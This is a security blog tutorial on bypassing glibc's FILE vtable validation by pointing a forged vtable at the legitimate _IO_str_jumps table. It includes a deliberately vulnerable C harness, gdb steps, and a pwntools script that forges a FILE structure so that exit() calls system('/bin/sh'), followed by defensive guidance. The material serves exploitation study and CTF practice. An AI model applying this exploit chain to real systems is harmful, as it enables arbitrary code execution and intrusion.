Abusing _IO_FILE vtables: _IO_str_jumps and Validation

Abusing _IO_FILE vtables: _IO_str_jumps and Validation - article cover image RE & Pwn
Time it takes to read this article 8 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

The original FSOP model was simple: forge a FILE, point its vtable at a fully attacker-controlled table of function pointers, and let glibc call into it. glibc 2.24 (2016) closed that door with vtable pointer validation. Before any stream vtable is used, glibc now checks that the vtable pointer lies inside a dedicated read-only section of libc that holds all the *legitimate* jump tables; a pointer to the heap or to a forged table on the stack fails the check and the process aborts. This single mitigation invalidated a large body of pre-2.24 exploits overnight.

The response from the exploitation community was elegant: if you cannot point the vtable at your *own* table, point it at a *real* glibc table whose functions do something exploitable when fed a malformed FILE. The canonical such table is _IO_str_jumps (and its wide-character sibling _IO_wstr_jumps), used by the in-memory string streams behind open_memstream and sprintf-style helpers. Because these tables live inside the valid vtable section, they pass validation — and functions like _IO_str_overflow were, on older builds, willing to make an indirect call through a pointer stored in the FILE‘s own body. This article explains the validation mechanism precisely and how in-range jump tables are used to survive it.

Attack Prerequisites

This is a vtable-hijack variant, so it inherits FSOP’s requirements plus the constraints imposed by targeting a real jump table:

  • Control of a FILE‘s vtable pointer and of the surrounding body fields — typically via a forged FILE, a heap overlap, or an arbitrary write onto a libc stream structure.
  • A libc leak, because you must compute the exact address of the in-range jump table (_IO_str_jumps) and of system/a one_gadget to drop into the abused function’s controlled call.
  • A glibc build where the abused function still performs a controlled indirect call. _IO_str_overflow‘s allocate path used a function-pointer field on older glibc; later builds replaced it with a direct malloc, so verify the target version before relying on it.
  • A flush or dispatch trigger — the exit-time _IO_flush_all_lockp path, fclose, or any operation whose macro resolves to the vtable slot you aimed at (commonly __overflow at vtable offset 0x18, or __finish for fclose).

How It Works

Validation is implemented by IO_validate_vtable, called from the stream dispatch macros. Libc places every legitimate jump table into a linker section bounded by the symbols __start___libc_IO_vtables and __stop___libc_IO_vtables. IO_validate_vtable computes the offset of the candidate vtable pointer from the section start and, if it is outside the section’s byte range, calls _IO_vtable_check. That slow path permits a few legitimate cases (vtables from dlopened shared objects registered via _IO_vtable_check‘s bookkeeping, and the special handling for user-defined cookie streams); anything else triggers __libc_fatal with the message "Fatal error: glibc detected an invalid stdio handle". The practical consequence is a hard rule: a usable vtable pointer must land inside the __libc_IO_vtables section.

That section is not just the default _IO_file_jumps. It also contains _IO_str_jumps, _IO_wstr_jumps, _IO_wfile_jumps, _IO_mem_jumps, and others — every jump table glibc ships. All of them pass validation. The attack is therefore to choose the one whose functions misbehave usefully. _IO_str_jumps backs string streams, and its __overflow slot is _IO_str_overflow. On glibc versions where the string-stream struct _IO_strfile still exposed an allocate function pointer, _IO_str_overflow computed a new buffer size and then executed roughly new_buf = (char *)(*((_IO_strfile *)fp)->_s._allocate_buffer)(new_size); — an indirect call through a field inside the FILE body that the attacker fully controls. Point the vtable at _IO_str_jumps, arrange the size arithmetic so the grow branch is taken, and set that field to system.

The size arithmetic is the delicate part and is what makes the technique feel like a puzzle. _IO_str_overflow decides to grow when the buffer is full; the new size is derived from _IO_buf_end - _IO_buf_base and the amount written, and the call argument to the allocate function is that computed size. To turn _allocate_buffer(new_size) into system("/bin/sh") you instead choose the vtable so that the *argument* register already points at a command string — the widely used arrangement sets _IO_buf_base = 0, _IO_buf_end to a value that makes the computed size equal the address of "/bin/sh", and the allocate field to system. Because the exact multiply/round is version specific, the concrete constants must be read off the target’s _IO_str_overflow disassembly rather than memorized.

Vulnerable Code / Setup

The setup is the same FSOP harness as the fundamentals article — an arbitrary write plus a normal exit — but here the payload targets a *real* jump table. The C below additionally opens a string stream so the _IO_str_jumps machinery is definitely linked in and easy to inspect:

// strjumps_demo.c
#include <stdio.h>
#include <stdlib.h>

int main(void) {
    char *buf = NULL; size_t n = 0;
    FILE *m = open_memstream(&buf, &n);   // a real _IO_str_jumps stream
    fputs("seed", m);
    printf("libc leak via stdout @ %p\n", (void *)stdout);

    unsigned long addr, val;              // emulated write-what-where
    while (scanf("%lu %lu", &addr, &val) == 2 && addr)
        *(unsigned long *)addr = val;
    exit(0);                              // flush -> _IO_OVERFLOW dispatch
}
C

Build it and confirm the mitigation surface. The decisive fact is the libc version, because whether _IO_str_overflow still offers a controlled call — and the exact section bounds used by the vtable check — are properties of that build:

$ gcc -no-pie -g -o strjumps_demo strjumps_demo.c
$ checksec --file=./strjumps_demo
RELRO: Partial | Canary: No | NX: Yes | PIE: No
# Inspect the valid vtable section bounds in the loaded libc:
$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep -i _IO_str_jumps || \
  readelf -sW /lib/x86_64-linux-gnu/libc.so.6 | grep -i IO_vtables
Bash

Walkthrough / Exploitation

Start in the debugger to pin the section bounds and the two jump tables. These addresses are what decide whether your forged vtable pointer survives validation:

gdb -q ./strjumps_demo
pwndbg> run <<< ''            # let it print the leak, then Ctrl-C
pwndbg> p &__start___libc_IO_vtables
pwndbg> p &__stop___libc_IO_vtables
pwndbg> p &_IO_str_jumps       # must be within the two bounds above
pwndbg> p &_IO_file_jumps
pwndbg> disassemble _IO_str_overflow   # confirm the allocate-call form
Bash

With the addresses known, forge a FILE whose vtable points at _IO_str_jumps, lay out the fields so _IO_str_overflow takes the grow branch, and set the allocate field to system. pwntools models the string-file layout, but the size constants below are illustrative — read the real ones off your _IO_str_overflow:

from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
io   = process('./strjumps_demo')
io.sendline(b'')                      # trigger the leak line
leak = int(io.recvline_contains(b'stdout').split()[-1], 16)
libc.address = leak - libc.sym['_IO_2_1_stdout_']

str_jumps = libc.sym['_IO_str_jumps']  # in-range -> passes validation
system    = libc.sym['system']
binsh     = next(libc.search(b'/bin/sh\x00'))
Python

Build the fake string-file. The classic _IO_str_overflow arrangement makes the computed allocation size equal the address of "/bin/sh" and puts system in the allocate slot, so the internal call becomes system("/bin/sh"):

FAKE = libc.address + 0x2000          # controlled scratch page
fp = FileStructure(null=FAKE)
fp.flags       = 0
fp._IO_write_base = 0
fp._IO_write_ptr  = 1                 # write_ptr > write_base -> flush fires
fp._IO_buf_base   = 0
fp._IO_buf_end    = (binsh - 100) // 2  # size math -> arg == &'/bin/sh'
fp.vtable         = str_jumps          # +0x18 slot == _IO_str_overflow
# _s._allocate_buffer field (just past the FILE body) := system
Python

Emit the structure and the _allocate_buffer field with the write primitive, then repoint _IO_list_all at the fake object and end the loop so exit() flushes:

def W(a, v): io.sendline(b'%d %d' % (a, v))
blob = bytes(fp)
for i in range(0, len(blob), 8):
    W(FAKE + i, u64(blob[i:i+8].ljust(8, b'\x00')))
W(FAKE + 0xe0, system)                # _s._allocate_buffer := system
W(libc.sym['_IO_list_all'], FAKE)     # link fake FILE into the chain
W(0, 0)                               # exit() -> flush -> _IO_str_overflow
io.interactive()
Python

At exit, _IO_flush_all_lockp reaches the fake stream, calls _IO_OVERFLOW, and — because the vtable is the *real* _IO_str_jumps — validation passes and _IO_str_overflow runs. Its grow branch performs the controlled indirect call through the allocate field, which is now system, with the argument register pointing at "/bin/sh". If your target glibc has replaced that field with a direct malloc, this specific slot is dead and you pivot to the wide-data House of Apple 2 path instead (next article).

Note: _IO_str_jumps is not an exported symbol on stripped libc, but it sits at a fixed offset from exported symbols in the same section, so a single libc leak still lets you compute it — pull the offset from your exact build with p &_IO_str_jumps in a debug session or from the libc’s symbol table. The wide sibling _IO_wstr_jumps behaves analogously for wide streams and is the conceptual bridge to _IO_wfile_jumps used by House of Apple 2.

Opsec: Do not hardcode the _IO_str_overflow size constants across libc versions. The multiply-and-round that computes the allocate argument changed several times, and an off-by-one there sends system a bad pointer and crashes instead of popping a shell. Single-step _IO_str_overflow once on the exact target build, watch the value in the argument register at the call site, and back-solve your _IO_buf_end.

Detection and Defense

The vtable check is itself the primary mitigation; the remaining defenses constrain the corruption that precedes it and keep the abusable functions from being reachable:

  • Run a glibc with the vtable check (2.24+) — it eliminates arbitrary fake vtables and forces attackers onto the narrower in-range paths, several of which later builds closed by replacing function-pointer fields with direct calls.
  • Prefer recent glibc where _IO_str_overflow‘s allocate/free went to direct malloc/free; that removes the specific controlled call this technique relies on.
  • Deny the leak with PIE and by not exposing libc pointers; without the precise _IO_str_jumps address the forged vtable cannot pass validation.
  • Treat the "invalid stdio handle" fatal message as an IOC — repeated occurrences on a network service strongly suggest attempted vtable hijacking.

Real-World Impact

The 2.24 vtable check and the in-range-jump-table response are one of the clearest examples of the mitigation/bypass cycle in glibc. *House of Orange* and its successors leaned on _IO_str_jumps/_IO_str_overflow precisely because those tables were validation-legal, and the technique dominated glibc heap CTF challenges for years. As glibc maintainers noticed and hardened the individual functions (removing the allocate/free function pointers), the community migrated to _IO_wfile_jumps and the wide-data indirection — the same in-range strategy applied to a table whose functions still dereference attacker-reachable pointers. The through-line is that a section-bounds check constrains *which* table you use, not *whether* a real table can be abused.

Conclusion

glibc’s vtable validation reduced FSOP from ‘any pointer you like’ to ‘any *legitimate* jump table you like’, and that turned out to be enough surface for exploitation to continue. IO_validate_vtable enforces that a stream’s vtable lies within the __libc_IO_vtables section; _IO_str_jumps and _IO_wstr_jumps live there and expose functions — historically _IO_str_overflow with its allocate field — that make a controlled indirect call from fields inside the FILE. Understand the section-bounds check and which table’s functions dereference which body fields, and you can pick a validation-surviving vtable for whatever glibc version is in front of you.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL